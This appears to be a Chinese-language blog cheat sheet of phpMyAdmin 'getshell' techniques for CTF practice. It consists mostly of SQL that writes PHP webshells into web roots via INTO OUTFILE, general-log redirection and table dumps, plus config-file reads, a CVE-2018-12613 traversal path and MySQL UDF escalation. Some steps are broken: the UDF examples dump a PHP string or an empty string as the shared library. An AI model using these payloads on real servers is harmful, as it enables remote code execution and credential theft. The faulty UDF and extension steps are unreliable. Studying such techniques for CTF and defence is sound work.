phpMyadmin getShell方法

phpMyadmin getShell

Posted by Kyon-H on August 15, 2025

1. phpMyAdmin getshell 常见套路

Windows 和 Linux 原理基本相同

1.1. INTO OUTFILE 写 PHP 马

原理:MySQL 可以把查询结果直接写到服务器文件系统,如果 Web 目录可写,就能写一段 PHP 代码变成 WebShell。

条件检查:

1
2
SHOW VARIABLES LIKE 'secure_file_priv'; 
SHOW GRANTS FOR CURRENT_USER();
  • secure_file_priv 为空或是 Web 根目录。
  • 当前用户有 FILE 权限。

利用:

1
2
3
4
5
select @@basedir;  -- 查找绝对路径
-- linux
SELECT '<?php system($_REQUEST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
-- windows
SELECT '<?php eval($_REQUEST["cmd"]);?>' INTO OUTFILE 'c:\phpstudy\www\shell.php';

CTF 变种:

  • 出题人可能会限制 secure_file_priv,这时需要找 符号链接绕过mysql 日志写马

1.2. 利用 MySQL 日志写 WebShell

原理:MySQL 的 general log、slow log 可以记录 SQL 语句到文件。通过设置日志路径到 Web 目录,就能写 PHP 代码。

操作:

1
2
3
4
SET global general_log = 'ON'; 
SET global general_log_file = '/var/www/html/shell.php'; 
SELECT '<?php system($_GET["cmd"]); ?>'; 
SET global general_log = 'OFF';

访问 shell.php 即可。

1.3. LOAD_FILE 读取敏感文件

虽然不是直接 getshell,但可以辅助:

1
SELECT LOAD_FILE('/var/www/html/config.php');

可能拿到数据库连接密码,从而用其他方式 getshell。

1.4. 导入功能绕过上传限制

在 phpMyAdmin 的 “导入” 页面上传 .php 文件,出题人可能没有过滤,或者导入路径就是 Web 可访问路径。

  • 常见的 CTF trick:导入 .txt 文件,但内容是 PHP 代码,然后用双扩展名 shell.php.txt,再通过 .htaccess.txt 解析成 PHP。

1.5. 创建数据库和表写入 WebShell

1
2
3
4
CREATE TABLE test( id text(500) not null);
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php';
DROP TABLE IF EXISTS test;

1.6. phpMyAdmin 历史漏洞 getshell

在 CTF 中常用老版本 phpMyAdmin:

  • CVE-2018-12613:文件包含漏洞,可以通过 ?target=db_sql.php%253f/../../../../.../shell 来执行任意文件。
  • CVE-2016-5734:SQL 执行漏洞,配合 OUTFILE 直接 getshell。

1.7. MySQL UDF 提权

1.7.1. Linux

如果 MySQL 用户有 FILE 权限且是 root 运行,可以写入 .so 动态库到插件目录,创建自定义函数执行系统命令:

1
SELECT '<?php eval($_POST[a]);?>' INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; SELECT sys_eval('id');

但 CTF 中较少,因为需要 root 权限。

1.7.2. Windows

如果 MySQL 服务在 Windows 上以 SYSTEM 运行,且有 FILE 权限,可以写 DLL 到 plugin 目录,注册自定义函数执行系统命令:

1
2
3
SELECT '' INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\udf.dll';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
SELECT sys_eval('whoami');

CTF 偶尔会出,真实环境比较少见